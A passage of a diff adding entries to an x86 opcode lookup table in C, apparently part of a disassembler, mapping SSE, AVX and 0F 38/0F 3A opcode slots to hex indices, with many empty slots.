+ /* 64b - */ 0,
+ /* 64c - */ 0,
+ /* 64d - */ 0,
+ /* 64e - _0F_0F_AE */ 0x236b,
+ /* 64f - */ 0,
+ /* 650 - _0F_0F_B0 */ 0x236c,
+ /* 651 - */ 0,
+ /* 652 - */ 0,
+ /* 653 - */ 0,
+ /* 654 - _0F_0F_B4 */ 0x236d,
+ /* 655 - */ 0,
+ /* 656 - _0F_0F_B6 */ 0x236e,
+ /* 657 - _0F_0F_B7 */ 0x236f,
+ /* 658 - */ 0,
+ /* 659 - */ 0,
+ /* 65a - */ 0,
+ /* 65b - _0F_0F_BB */ 0x2370,
+ /* 65c - */ 0,
+ /* 65d - */ 0,
+ /* 65e - */ 0,
+ /* 65f - _0F_0F_BF */ 0x2371,
+ /* 660 - */ 0,
+ /* 661 - */ 0,
+ /* 662 - */ 0,
+ /* 663 - */ 0,
+ /* 664 - */ 0,
+ /* 665 - */ 0,
+ /* 666 - */ 0,
+ /* 667 - */ 0,
+ /* 668 - */ 0,
+ /* 669 - */ 0,
+ /* 66a - */ 0,
+ /* 66b - */ 0,
+ /* 66c - */ 0,
+ /* 66d - */ 0,
+ /* 66e - */ 0,
+ /* 66f - */ 0,
+ /* 670 - */ 0,
+ /* 671 - */ 0,
+ /* 672 - */ 0,
+ /* 673 - */ 0,
+ /* 674 - */ 0,
+ /* 675 - */ 0,
+ /* 676 - */ 0,
+ /* 677 - */ 0,
+ /* 678 - */ 0,
+ /* 679 - */ 0,
+ /* 67a - */ 0,
+ /* 67b - */ 0,
+ /* 67c - */ 0,
+ /* 67d - */ 0,
+ /* 67e - */ 0,
+ /* 67f - */ 0,
+ /* 680 - */ 0,
+ /* 681 - */ 0,
+ /* 682 - */ 0,
+ /* 683 - */ 0,
+ /* 684 - */ 0,
+ /* 685 - */ 0,
+ /* 686 - */ 0,
+ /* 687 - */ 0,
+ /* 688 - */ 0,
+ /* 689 - */ 0,
+ /* 68a - */ 0,
+ /* 68b - */ 0,
+ /* 68c - */ 0,
+ /* 68d - */ 0,
+ /* 68e - */ 0,
+ /* 68f - */ 0,
+ /* 690 - */ 0,
+ /* 691 - */ 0,
+ /* 692 - */ 0,
+ /* 693 - */ 0,
+ /* 694 - */ 0,
+ /* 695 - */ 0,
+ /* 696 - */ 0,
+ /* 697 - */ 0,
+ /* 698 - */ 0,
+ /* 699 - */ 0,
+ /* 69a - */ 0,
+ /* 69b - */ 0,
+ /* 69c - */ 0,
+ /* 69d - */ 0,
+ /* 69e - */ 0,
+ /* 69f - */ 0,
+ /* 6a0 - _0F_10 */ 0x2372,
+ /* 6a1 - _66_0F_10 */ 0x2373,
+ /* 6a2 - _F3_0F_10 */ 0x2374,
+ /* 6a3 - _F2_0F_10 */ 0x2375,
+ /* 6a4 - _V_0F_10 */ 0x4009,
+ /* 6a5 - _V_66_0F_10 */ 0x400a,
+ /* 6a6 - _V_F3_0F_10 */ 0x400b,
+ /* 6a7 - _V_F2_0F_10 */ 0x400c,
+ /* 6a8 - */ 0,
+ /* 6a9 - */ 0,
+ /* 6aa - _VRR_F3_0F_10 */ 0x400d,
+ /* 6ab - _VRR_F2_0F_10 */ 0x400e,
+ /* 6ac - _0F_11 */ 0x2376,
+ /* 6ad - _66_0F_11 */ 0x2377,
+ /* 6ae - _F3_0F_11 */ 0x2378,
+ /* 6af - _F2_0F_11 */ 0x2379,
+ /* 6b0 - _V_0F_11 */ 0x400f,
+ /* 6b1 - _V_66_0F_11 */ 0x4010,
+ /* 6b2 - _V_F3_0F_11 */ 0x4011,
+ /* 6b3 - _V_F2_0F_11 */ 0x4012,
+ /* 6b4 - */ 0,
+ /* 6b5 - */ 0,
+ /* 6b6 - _VRR_F3_0F_11 */ 0x4013,
+ /* 6b7 - _VRR_F2_0F_11 */ 0x4014,
+ /* 6b8 - _0F_12 */ 0x4015,
+ /* 6b9 - _66_0F_12 */ 0x237a,
+ /* 6ba - _F3_0F_12 */ 0x237b,
+ /* 6bb - _F2_0F_12 */ 0x237c,
+ /* 6bc - _V_0F_12 */ 0x4016,
+ /* 6bd - _V_66_0F_12 */ 0x4017,
+ /* 6be - _V_F3_0F_12 */ 0x4018,
+ /* 6bf - _V_F2_0F_12 */ 0x4019,
+ /* 6c0 - */ 0,
+ /* 6c1 - */ 0,
+ /* 6c2 - */ 0,
+ /* 6c3 - */ 0,
+ /* 6c4 - _0F_13 */ 0x237d,
+ /* 6c5 - _66_0F_13 */ 0x237e,
+ /* 6c6 - */ 0,
+ /* 6c7 - */ 0,
+ /* 6c8 - _V_0F_13 */ 0x401a,
+ /* 6c9 - _V_66_0F_13 */ 0x401b,
+ /* 6ca - */ 0,
+ /* 6cb - */ 0,
+ /* 6cc - */ 0,
+ /* 6cd - */ 0,
+ /* 6ce - */ 0,
+ /* 6cf - */ 0,
+ /* 6d0 - _0F_14 */ 0x237f,
+ /* 6d1 - _66_0F_14 */ 0x2380,
+ /* 6d2 - */ 0,
+ /* 6d3 - */ 0,
+ /* 6d4 - _V_0F_14 */ 0x401c,
+ /* 6d5 - _V_66_0F_14 */ 0x401d,
+ /* 6d6 - */ 0,
+ /* 6d7 - */ 0,
+ /* 6d8 - */ 0,
+ /* 6d9 - */ 0,
+ /* 6da - */ 0,
+ /* 6db - */ 0,
+ /* 6dc - _0F_15 */ 0x2381,
+ /* 6dd - _66_0F_15 */ 0x2382,
+ /* 6de - */ 0,
+ /* 6df - */ 0,
+ /* 6e0 - _V_0F_15 */ 0x401e,
+ /* 6e1 - _V_66_0F_15 */ 0x401f,
+ /* 6e2 - */ 0,
+ /* 6e3 - */ 0,
+ /* 6e4 - */ 0,
+ /* 6e5 - */ 0,
+ /* 6e6 - */ 0,
+ /* 6e7 - */ 0,
+ /* 6e8 - _0F_16 */ 0x4020,
+ /* 6e9 - _66_0F_16 */ 0x2383,
+ /* 6ea - _F3_0F_16 */ 0x2384,
+ /* 6eb - */ 0,
+ /* 6ec - _V_0F_16 */ 0x4021,
+ /* 6ed - _V_66_0F_16 */ 0x4022,
+ /* 6ee - _V_F3_0F_16 */ 0x4023,
+ /* 6ef - */ 0,
+ /* 6f0 - */ 0,
+ /* 6f1 - */ 0,
+ /* 6f2 - */ 0,
+ /* 6f3 - */ 0,
+ /* 6f4 - _0F_17 */ 0x2385,
+ /* 6f5 - _66_0F_17 */ 0x2386,
+ /* 6f6 - */ 0,
+ /* 6f7 - */ 0,
+ /* 6f8 - _V_0F_17 */ 0x4024,
+ /* 6f9 - _V_66_0F_17 */ 0x4025,
+ /* 6fa - */ 0,
+ /* 6fb - */ 0,
+ /* 6fc - */ 0,
+ /* 6fd - */ 0,
+ /* 6fe - */ 0,
+ /* 6ff - */ 0,
+ /* 700 - _0F_18_00 */ 0x2387,
+ /* 701 - _0F_18_01 */ 0x2388,
+ /* 702 - _0F_18_02 */ 0x2389,
+ /* 703 - _0F_18_03 */ 0x238a,
+ /* 704 - */ 0,
+ /* 705 - */ 0,
+ /* 706 - */ 0,
+ /* 707 - */ 0,
+ /* 708 - _0F_28 */ 0x238b,
+ /* 709 - _66_0F_28 */ 0x238c,
+ /* 70a - */ 0,
+ /* 70b - */ 0,
+ /* 70c - _V_0F_28 */ 0x4026,
+ /* 70d - _V_66_0F_28 */ 0x4027,
+ /* 70e - */ 0,
+ /* 70f - */ 0,
+ /* 710 - */ 0,
+ /* 711 - */ 0,
+ /* 712 - */ 0,
+ /* 713 - */ 0,
+ /* 714 - _0F_29 */ 0x238d,
+ /* 715 - _66_0F_29 */ 0x238e,
+ /* 716 - */ 0,
+ /* 717 - */ 0,
+ /* 718 - _V_0F_29 */ 0x4028,
+ /* 719 - _V_66_0F_29 */ 0x4029,
+ /* 71a - */ 0,
+ /* 71b - */ 0,
+ /* 71c - */ 0,
+ /* 71d - */ 0,
+ /* 71e - */ 0,
+ /* 71f - */ 0,
+ /* 720 - _0F_2A */ 0x238f,
+ /* 721 - _66_0F_2A */ 0x2390,
+ /* 722 - _F3_0F_2A */ 0x2391,
+ /* 723 - _F2_0F_2A */ 0x2392,
+ /* 724 - */ 0,
+ /* 725 - */ 0,
+ /* 726 - _V_F3_0F_2A */ 0x402a,
+ /* 727 - _V_F2_0F_2A */ 0x402b,
+ /* 728 - */ 0,
+ /* 729 - */ 0,
+ /* 72a - */ 0,
+ /* 72b - */ 0,
+ /* 72c - _0F_2B */ 0x2393,
+ /* 72d - _66_0F_2B */ 0x2394,
+ /* 72e - _F3_0F_2B */ 0x2395,
+ /* 72f - _F2_0F_2B */ 0x2396,
+ /* 730 - _V_0F_2B */ 0x402c,
+ /* 731 - _V_66_0F_2B */ 0x402d,
+ /* 732 - */ 0,
+ /* 733 - */ 0,
+ /* 734 - */ 0,
+ /* 735 - */ 0,
+ /* 736 - */ 0,
+ /* 737 - */ 0,
+ /* 738 - _0F_2C */ 0x2397,
+ /* 739 - _66_0F_2C */ 0x2398,
+ /* 73a - _F3_0F_2C */ 0x2399,
+ /* 73b - _F2_0F_2C */ 0x239a,
+ /* 73c - */ 0,
+ /* 73d - */ 0,
+ /* 73e - _V_F3_0F_2C */ 0x402e,
+ /* 73f - _V_F2_0F_2C */ 0x402f,
+ /* 740 - */ 0,
+ /* 741 - */ 0,
+ /* 742 - */ 0,
+ /* 743 - */ 0,
+ /* 744 - _0F_2D */ 0x239b,
+ /* 745 - _66_0F_2D */ 0x239c,
+ /* 746 - _F3_0F_2D */ 0x239d,
+ /* 747 - _F2_0F_2D */ 0x239e,
+ /* 748 - */ 0,
+ /* 749 - */ 0,
+ /* 74a - _V_F3_0F_2D */ 0x4030,
+ /* 74b - _V_F2_0F_2D */ 0x4031,
+ /* 74c - */ 0,
+ /* 74d - */ 0,
+ /* 74e - */ 0,
+ /* 74f - */ 0,
+ /* 750 - _0F_2E */ 0x239f,
+ /* 751 - _66_0F_2E */ 0x23a0,
+ /* 752 - */ 0,
+ /* 753 - */ 0,
+ /* 754 - _V_0F_2E */ 0x4032,
+ /* 755 - _V_66_0F_2E */ 0x4033,
+ /* 756 - */ 0,
+ /* 757 - */ 0,
+ /* 758 - */ 0,
+ /* 759 - */ 0,
+ /* 75a - */ 0,
+ /* 75b - */ 0,
+ /* 75c - _0F_2F */ 0x23a1,
+ /* 75d - _66_0F_2F */ 0x23a2,
+ /* 75e - */ 0,
+ /* 75f - */ 0,
+ /* 760 - _V_0F_2F */ 0x4034,
+ /* 761 - _V_66_0F_2F */ 0x4035,
+ /* 762 - */ 0,
+ /* 763 - */ 0,
+ /* 764 - */ 0,
+ /* 765 - */ 0,
+ /* 766 - */ 0,
+ /* 767 - */ 0,
+ /* 768 - _0F_38_00 */ 0xcf78,
+ /* 769 - _0F_38_01 */ 0xcf84,
+ /* 76a - _0F_38_02 */ 0xcf90,
+ /* 76b - _0F_38_03 */ 0xcf9c,
+ /* 76c - _0F_38_04 */ 0xcfa8,
+ /* 76d - _0F_38_05 */ 0xcfb4,
+ /* 76e - _0F_38_06 */ 0xcfc0,
+ /* 76f - _0F_38_07 */ 0xcfcc,
+ /* 770 - _0F_38_08 */ 0xcfd8,
+ /* 771 - _0F_38_09 */ 0xcfe4,
+ /* 772 - _0F_38_0A */ 0xcff0,
+ /* 773 - _0F_38_0B */ 0xcffc,
+ /* 774 - _0F_38_0C */ 0xd008,
+ /* 775 - _0F_38_0D */ 0xd014,
+ /* 776 - _0F_38_0E */ 0xd020,
+ /* 777 - _0F_38_0F */ 0xd02c,
+ /* 778 - _0F_38_10 */ 0xd038,
+ /* 779 - */ 0,
+ /* 77a - */ 0,
+ /* 77b - */ 0,
+ /* 77c - _0F_38_14 */ 0xd044,
+ /* 77d - _0F_38_15 */ 0xd050,
+ /* 77e - */ 0,
+ /* 77f - _0F_38_17 */ 0xd05c,
+ /* 780 - _0F_38_18 */ 0xd068,
+ /* 781 - _0F_38_19 */ 0xd074,
+ /* 782 - _0F_38_1A */ 0xd080,
+ /* 783 - */ 0,
+ /* 784 - _0F_38_1C */ 0xd08c,
+ /* 785 - _0F_38_1D */ 0xd098,
+ /* 786 - _0F_38_1E */ 0xd0a4,
+ /* 787 - */ 0,
+ /* 788 - _0F_38_20 */ 0xd0b0,
+ /* 789 - _0F_38_21 */ 0xd0bc,
+ /* 78a - _0F_38_22 */ 0xd0c8,
+ /* 78b - _0F_38_23 */ 0xd0d4,
+ /* 78c - _0F_38_24 */ 0xd0e0,
+ /* 78d - _0F_38_25 */ 0xd0ec,
+ /* 78e - */ 0,
+ /* 78f - */ 0,
+ /* 790 - _0F_38_28 */ 0xd0f8,
+ /* 791 - _0F_38_29 */ 0xd104,
+ /* 792 - _0F_38_2A */ 0xd110,
+ /* 793 - _0F_38_2B */ 0xd11c,
+ /* 794 - _0F_38_2C */ 0xd128,
+ /* 795 - _0F_38_2D */ 0xd134,
+ /* 796 - _0F_38_2E */ 0xd140,
+ /* 797 - _0F_38_2F */ 0xd14c,
+ /* 798 - _0F_38_30 */ 0xd158,
+ /* 799 - _0F_38_31 */ 0xd164,
+ /* 79a - _0F_38_32 */ 0xd170,
+ /* 79b - _0F_38_33 */ 0xd17c,
+ /* 79c - _0F_38_34 */ 0xd188,
+ /* 79d - _0F_38_35 */ 0xd194,
+ /* 79e - */ 0,
+ /* 79f - _0F_38_37 */ 0xd1a0,
+ /* 7a0 - _0F_38_38 */ 0xd1ac,
+ /* 7a1 - _0F_38_39 */ 0xd1b8,
+ /* 7a2 - _0F_38_3A */ 0xd1c4,
+ /* 7a3 - _0F_38_3B */ 0xd1d0,
+ /* 7a4 - _0F_38_3C */ 0xd1dc,
+ /* 7a5 - _0F_38_3D */ 0xd1e8,
+ /* 7a6 - _0F_38_3E */ 0xd1f4,
+ /* 7a7 - _0F_38_3F */ 0xd200,
+ /* 7a8 - _0F_38_40 */ 0xd20c,
+ /* 7a9 - _0F_38_41 */ 0xd218,
+ /* 7aa - */ 0,
+ /* 7ab - */ 0,
+ /* 7ac - */ 0,
+ /* 7ad - */ 0,
+ /* 7ae - */ 0,
+ /* 7af - */ 0,
+ /* 7b0 - */ 0,
+ /* 7b1 - */ 0,
+ /* 7b2 - */ 0,
+ /* 7b3 - */ 0,
+ /* 7b4 - */ 0,
+ /* 7b5 - */ 0,
+ /* 7b6 - */ 0,
+ /* 7b7 - */ 0,
+ /* 7b8 - */ 0,
+ /* 7b9 - */ 0,
+ /* 7ba - */ 0,
+ /* 7bb - */ 0,
+ /* 7bc - */ 0,
+ /* 7bd - */ 0,
+ /* 7be - */ 0,
+ /* 7bf - */ 0,
+ /* 7c0 - */ 0,
+ /* 7c1 - */ 0,
+ /* 7c2 - */ 0,
+ /* 7c3 - */ 0,
+ /* 7c4 - */ 0,
+ /* 7c5 - */ 0,
+ /* 7c6 - */ 0,
+ /* 7c7 - */ 0,
+ /* 7c8 - */ 0,
+ /* 7c9 - */ 0,
+ /* 7ca - */ 0,
+ /* 7cb - */ 0,
+ /* 7cc - */ 0,
+ /* 7cd - */ 0,
+ /* 7ce - */ 0,
+ /* 7cf - */ 0,
+ /* 7d0 - */ 0,
+ /* 7d1 - */ 0,
+ /* 7d2 - */ 0,
+ /* 7d3 - */ 0,
+ /* 7d4 - */ 0,
+ /* 7d5 - */ 0,
+ /* 7d6 - */ 0,
+ /* 7d7 - */ 0,
+ /* 7d8 - */ 0,
+ /* 7d9 - */ 0,
+ /* 7da - */ 0,
+ /* 7db - */ 0,
+ /* 7dc - */ 0,
+ /* 7dd - */ 0,
+ /* 7de - */ 0,
+ /* 7df - */ 0,
+ /* 7e0 - */ 0,
+ /* 7e1 - */ 0,
+ /* 7e2 - */ 0,
+ /* 7e3 - */ 0,
+ /* 7e4 - */ 0,
+ /* 7e5 - */ 0,
+ /* 7e6 - */ 0,
+ /* 7e7 - */ 0,
+ /* 7e8 - _0F_38_80 */ 0xd224,
+ /* 7e9 - _0F_38_81 */ 0xd230,
+ /* 7ea - _0F_38_82 */ 0xd23c,
+ /* 7eb - */ 0,
+ /* 7ec - */ 0,
+ /* 7ed - */ 0,
+ /* 7ee - */ 0,
+ /* 7ef - */ 0,
+ /* 7f0 - */ 0,
+ /* 7f1 - */ 0,
+ /* 7f2 - */ 0,
+ /* 7f3 - */ 0,
+ /* 7f4 - */ 0,
+ /* 7f5 - */ 0,
+ /* 7f6 - */ 0,
+ /* 7f7 - */ 0,
+ /* 7f8 - */ 0,
+ /* 7f9 - */ 0,
+ /* 7fa - */ 0,
+ /* 7fb - */ 0,
+ /* 7fc - */ 0,
+ /* 7fd - */ 0,
+ /* 7fe - _0F_38_96 */ 0xd248,
+ /* 7ff - _0F_38_97 */ 0xd254,
+ /* 800 - _0F_38_98 */ 0xd260,
+ /* 801 - _0F_38_99 */ 0xd26c,
+ /* 802 - _0F_38_9A */ 0xd278,
+ /* 803 - _0F_38_9B */ 0xd284,
+ /* 804 - _0F_38_9C */ 0xd290,
+ /* 805 - _0F_38_9D */ 0xd29c,
+ /* 806 - _0F_38_9E */ 0xd2a8,
+ /* 807 - _0F_38_9F */ 0xd2b4,
+ /* 808 - */ 0,
+ /* 809 - */ 0,
+ /* 80a - */ 0,
+ /* 80b - */ 0,
+ /* 80c - */ 0,
+ /* 80d - */ 0,
+ /* 80e - _0F_38_A6 */ 0xd2c0,
+ /* 80f - _0F_38_A7 */ 0xd2cc,
+ /* 810 - _0F_38_A8 */ 0xd2d8,
+ /* 811 - _0F_38_A9 */ 0xd2e4,
+ /* 812 - _0F_38_AA */ 0xd2f0,
+ /* 813 - _0F_38_AB */ 0xd2fc,
+ /* 814 - _0F_38_AC */ 0xd308,
+ /* 815 - _0F_38_AD */ 0xd314,
+ /* 816 - _0F_38_AE */ 0xd320,
+ /* 817 - _0F_38_AF */ 0xd32c,
+ /* 818 - */ 0,
+ /* 819 - */ 0,
+ /* 81a - */ 0,
+ /* 81b - */ 0,
+ /* 81c - */ 0,
+ /* 81d - */ 0,
+ /* 81e - _0F_38_B6 */ 0xd338,
+ /* 81f - _0F_38_B7 */ 0xd344,
+ /* 820 - _0F_38_B8 */ 0xd350,
+ /* 821 - _0F_38_B9 */ 0xd35c,
+ /* 822 - _0F_38_BA */ 0xd368,
+ /* 823 - _0F_38_BB */ 0xd374,
+ /* 824 - _0F_38_BC */ 0xd380,
+ /* 825 - _0F_38_BD */ 0xd38c,
+ /* 826 - _0F_38_BE */ 0xd398,
+ /* 827 - _0F_38_BF */ 0xd3a4,
+ /* 828 - */ 0,
+ /* 829 - */ 0,
+ /* 82a - */ 0,
+ /* 82b - */ 0,
+ /* 82c - */ 0,
+ /* 82d - */ 0,
+ /* 82e - */ 0,
+ /* 82f - */ 0,
+ /* 830 - */ 0,
+ /* 831 - */ 0,
+ /* 832 - */ 0,
+ /* 833 - */ 0,
+ /* 834 - */ 0,
+ /* 835 - */ 0,
+ /* 836 - */ 0,
+ /* 837 - */ 0,
+ /* 838 - */ 0,
+ /* 839 - */ 0,
+ /* 83a - */ 0,
+ /* 83b - */ 0,
+ /* 83c - */ 0,
+ /* 83d - */ 0,
+ /* 83e - */ 0,
+ /* 83f - */ 0,
+ /* 840 - */ 0,
+ /* 841 - */ 0,
+ /* 842 - */ 0,
+ /* 843 - _0F_38_DB */ 0xd3b0,
+ /* 844 - _0F_38_DC */ 0xd3bc,
+ /* 845 - _0F_38_DD */ 0xd3c8,
+ /* 846 - _0F_38_DE */ 0xd3d4,
+ /* 847 - _0F_38_DF */ 0xd3e0,
+ /* 848 - */ 0,
+ /* 849 - */ 0,
+ /* 84a - */ 0,
+ /* 84b - */ 0,
+ /* 84c - */ 0,
+ /* 84d - */ 0,
+ /* 84e - */ 0,
+ /* 84f - */ 0,
+ /* 850 - */ 0,
+ /* 851 - */ 0,
+ /* 852 - */ 0,
+ /* 853 - */ 0,
+ /* 854 - */ 0,
+ /* 855 - */ 0,
+ /* 856 - */ 0,
+ /* 857 - */ 0,
+ /* 858 - _0F_38_F0 */ 0xd3ec,
+ /* 859 - _0F_38_F1 */ 0xd3f8,
+ /* 85a - */ 0,
+ /* 85b - */ 0,
+ /* 85c - */ 0,
+ /* 85d - */ 0,
+ /* 85e - */ 0,
+ /* 85f - */ 0,
+ /* 860 - */ 0,
+ /* 861 - */ 0,
+ /* 862 - */ 0,
+ /* 863 - */ 0,
+ /* 864 - */ 0,
+ /* 865 - */ 0,
+ /* 866 - */ 0,
+ /* 867 - */ 0,
+ /* 868 - */ 0,
+ /* 869 - */ 0,
+ /* 86a - */ 0,
+ /* 86b - */ 0,
+ /* 86c - _0F_3A_04 */ 0xd404,
+ /* 86d - _0F_3A_05 */ 0xd410,
+ /* 86e - _0F_3A_06 */ 0xd41c,
+ /* 86f - */ 0,
+ /* 870 - _0F_3A_08 */ 0xd428,
+ /* 871 - _0F_3A_09 */ 0xd434,
+ /* 872 - _0F_3A_0A */ 0xd440,
+ /* 873 - _0F_3A_0B */ 0xd44c,
+ /* 874 - _0F_3A_0C */ 0xd458,
+ /* 875 - _0F_3A_0D */ 0xd464,
+ /* 876 - _0F_3A_0E */ 0xd470,
+ /* 877 - _0F_3A_0F */ 0xd47c,
+ /* 878 - */ 0,
+ /* 879 - */ 0,
+ /* 87a - */ 0,
+ /* 87b - */ 0,
+ /* 87c - _0F_3A_14 */ 0xd488,
+ /* 87d - _0F_3A_15 */ 0xd494,
+ /* 87e - _0F_3A_16 */ 0xd4a0,
+ /* 87f - _0F_3A_17 */ 0xd4ac,
+ /* 880 - _0F_3A_18 */ 0xd4b8,
+ /* 881 - _0F_3A_19 */ 0xd4c4,
+ /* 882 - */ 0,
+ /* 883 - */ 0,
+ /* 884 - */ 0,
+ /* 885 - */ 0,
+ /* 886 - */ 0,
+ /* 887 - */ 0,
+ /* 888 - _0F_3A_20 */ 0xd4d0,
+ /* 889 - _0F_3A_21 */ 0xd4dc,
+ /* 88a - _0F_3A_22 */ 0xd4e8,
+ /* 88b - */ 0,
+ /* 88c - */ 0,
+ /* 88d - */ 0,
+ /* 88e - */ 0,
+ /* 88f - */ 0,
+ /* 890 - */ 0,
+ /* 891 - */ 0,
+ /* 892 - */ 0,
+ /* 893 - */ 0,
+ /* 894 - */ 0,
+ /* 895 - */ 0,
+ /* 896 - */ 0,
+ /* 897 - */ 0,
+ /* 898 - */ 0,
+ /* 899 - */ 0,
+ /* 89a - */ 0,
+ /* 89b - */ 0,
+ /* 89c - */ 0,
+ /* 89d - */ 0,
+ /* 89e - */ 0,
+ /* 89f - */ 0,
+ /* 8a0 - */ 0,
+ /* 8a1 - */ 0,
+ /* 8a2 - */ 0,
+ /* 8a3 - */ 0,
+ /* 8a4 - */ 0,
+ /* 8a5 - */ 0,
+ /* 8a6 - */ 0,
+ /* 8a7 - */ 0,
+ /* 8a8 - _0F_3A_40 */ 0xd4f4,
+ /* 8a9 - _0F_3A_41 */ 0xd500,
+ /* 8aa - _0F_3A_42 */ 0xd50c,
+ /* 8ab - */ 0,
+ /* 8ac - _0F_3A_44 */ 0xd518,
+ /* 8ad - */ 0,
+ /* 8ae - */ 0,
+ /* 8af - */ 0,
+ /* 8b0 - */ 0,
+ /* 8b1 - */ 0,
+ /* 8b2 - _0F_3A_4A */ 0xd524,
+ /* 8b3 - _0F_3A_4B */ 0xd530,
+ /* 8b4 - _0F_3A_4C */ 0xd53c,
+ /* 8b5 - */ 0,
+ /* 8b6 - */ 0,
+ /* 8b7 - */ 0,
+ /* 8b8 - */ 0,
+ /* 8b9 - */ 0,
+ /* 8ba - */ 0,
+ /* 8bb - */ 0,
+ /* 8bc - */ 0,
+ /* 8bd - */ 0,
+ /* 8be - */ 0,
+ /* 8bf - */ 0,
+ /* 8c0 - */ 0,
+ /* 8c1 - */ 0,
+ /* 8c2 - */ 0,
+ /* 8c3 - */ 0,
+ /* 8c4 - */ 0,
+ /* 8c5 - */ 0,
+ /* 8c6 - */ 0,
+ /* 8c7 - */ 0,
+ /* 8c8 - _0F_3A_60 */ 0xd548,
+ /* 8c9 - _0F_3A_61 */ 0xd554,
+ /* 8ca - _0F_3A_62 */ 0xd560,
+ /* 8cb - _0F_3A_63 */ 0xd56c,
+ /* 8cc - */ 0,
+ /* 8cd - */ 0,
+ /* 8ce - */ 0,
+ /* 8cf - */ 0,
+ /* 8d0 - */ 0,
+ /* 8d1 - */ 0,
+ /* 8d2 - */ 0,
+ /* 8d3 - */ 0,
+ /* 8d4 - */ 0,
+ /* 8d5 - */ 0,
+ /* 8d6 - */ 0,
+ /* 8d7 - */ 0,
+ /* 8d8 - */ 0,
+ /* 8d9 - */ 0,
+ /* 8da - */ 0,
+ /* 8db - */ 0,
+ /* 8dc - */ 0,
+ /* 8dd - */ 0,
+ /* 8de - */ 0,
+ /* 8df - */ 0,
+ /* 8e0 - */ 0,
+ /* 8e1 - */ 0,
+ /* 8e2 - */ 0,
+ /* 8e3 - */ 0,
+ /* 8e4 - */ 0,
+ /* 8e5 - */ 0,
+ /* 8e6 - */ 0,
+ /* 8e7 - */ 0,
+ /* 8e8 - */ 0,
+ /* 8e9 - */ 0,
+ /* 8ea - */ 0,
+ /* 8eb - */ 0,
+ /* 8ec - */ 0,
+ /* 8ed - */ 0,
+ /* 8ee - */ 0,
+ /* 8ef - */ 0,
+ /* 8f0 - */ 0,
+ /* 8f1 - */ 0,
+ /* 8f2 - */ 0,
+ /* 8f3 - */ 0,
+ /* 8f4 - */ 0,
+ /* 8f5 - */ 0,
+ /* 8f6 - */ 0,
+ /* 8f7 - */ 0,
+ /* 8f8 - */ 0,
+ /* 8f9 - */ 0,
+ /* 8fa - */ 0,
+ /* 8fb - */ 0,
+ /* 8fc - */ 0,
+ /* 8fd - */ 0,
+ /* 8fe - */ 0,
+ /* 8ff - */ 0,
+ /* 900 - */ 0,
+ /* 901 - */ 0,
+ /* 902 - */ 0,
+ /* 903 - */ 0,
+ /* 904 - */ 0,
+ /* 905 - */ 0,
+ /* 906 - */ 0,
+ /* 907 - */ 0,
+ /* 908 - */ 0,
+ /* 909 - */ 0,
+ /* 90a - */ 0,
+ /* 90b - */ 0,
+ /* 90c - */ 0,
+ /* 90d - */ 0,
+ /* 90e - */ 0,
+ /* 90f - */ 0,
+ /* 910 - */ 0,
+ /* 911 - */ 0,
+ /* 912 - */ 0,
+ /* 913 - */ 0,
+ /* 914 - */ 0,
+ /* 915 - */ 0,
+ /* 916 - */ 0,
+ /* 917 - */ 0,
+ /* 918 - */ 0,
+ /* 919 - */ 0,
+ /* 91a - */ 0,
+ /* 91b - */ 0,
+ /* 91c - */ 0,
+ /* 91d - */ 0,
+ /* 91e - */ 0,
+ /* 91f - */ 0,
+ /* 920 - */ 0,
+ /* 921 - */ 0,
+ /* 922 - */ 0,
+ /* 923 - */ 0,
+ /* 924 - */ 0,
+ /* 925 - */ 0,
+ /* 926 - */ 0,
+ /* 927 - */ 0,
+ /* 928 - */ 0,
+ /* 929 - */ 0,
+ /* 92a - */ 0,
+ /* 92b - */ 0,
+ /* 92c - */ 0,
+ /* 92d - */ 0,
+ /* 92e - */ 0,
+ /* 92f - */ 0,
+ /* 930 - */ 0,
+ /* 931 - */ 0,
+ /* 932 - */ 0,
+ /* 933 - */ 0,
+ /* 934 - */ 0,
+ /* 935 - */ 0,
+ /* 936 - */ 0,
+ /* 937 - */ 0,
+ /* 938 - */ 0,
+ /* 939 - */ 0,
+ /* 93a - */ 0,
+ /* 93b - */ 0,
+ /* 93c - */ 0,
+ /* 93d - */ 0,
+ /* 93e - */ 0,
+ /* 93f - */ 0,
+ /* 940 - */ 0,
+ /* 941 - */ 0,
+ /* 942 - */ 0,
+ /* 943 - */ 0,
+ /* 944 - */ 0,
+ /* 945 - */ 0,
+ /* 946 - */ 0,
+ /* 947 - _0F_3A_DF */ 0xd578,
+ /* 948 - */ 0,
+ /* 949 - */ 0,
+ /* 94a - */ 0,
+ /* 94b - */ 0,
+ /* 94c - */ 0,
+ /* 94d - */ 0,
+ /* 94e - */ 0,
+ /* 94f - */ 0,
+ /* 950 - */ 0,
+ /* 951 - */ 0,
+ /* 952 - */ 0,
+ /* 953 - */ 0,
+ /* 954 - */ 0,
+ /* 955 - */ 0,
+ /* 956 - */ 0,
+ /* 957 - */ 0,
+ /* 958 - */ 0,
+ /* 959 - */ 0,
+ /* 95a - */ 0,
+ /* 95b - */ 0,
+ /* 95c - */ 0,
+ /* 95d - */ 0,
+ /* 95e - */ 0,
+ /* 95f - */ 0,
+ /* 960 - */ 0,
+ /* 961 - */ 0,
+ /* 962 - */ 0,
+ /* 963 - */ 0,
+ /* 964 - */ 0,
+ /* 965 - */ 0,
+ /* 966 - */ 0,
+ /* 967 - */ 0,
+ /* 968 - _0F_50 */ 0x23a3,
+ /* 969 - _66_0F_50 */ 0x23a4,
+ /* 96a - */ 0,
+ /* 96b - */ 0,
+ /* 96c - _V_0F_50 */ 0x4036,
+ /* 96d - _V_66_0F_50 */ 0x4037,
+ /* 96e - */ 0,
+ /* 96f - */ 0,
+ /* 970 - */ 0,
+ /* 971 - */ 0,
+ /* 972 - */ 0,
+ /* 973 - */ 0,
+ /* 974 - _0F_51 */ 0x23a5,
+ /* 975 - _66_0F_51 */ 0x23a6,
+ /* 976 - _F3_0F_51 */ 0x23a7,
+ /* 977 - _F2_0F_51 */ 0x23a8,
+ /* 978 - _V_0F_51 */ 0x4038,
+ /* 979 - _V_66_0F_51 */ 0x4039,
+ /* 97a - _V_F3_0F_51 */ 0x403a,
+ /* 97b - _V_F2_0F_51 */ 0x403b,
+ /* 97c - */ 0,
+ /* 97d - */ 0,
+ /* 97e - */ 0,
+ /* 97f - */ 0,
+ /* 980 - _0F_52 */ 0x23a9,
+ /* 981 - */ 0,
+ /* 982 - _F3_0F_52 */ 0x23aa,
+ /* 983 - */ 0,
+ /* 984 - _V_0F_52 */ 0x403c,
+ /* 985 - */ 0,
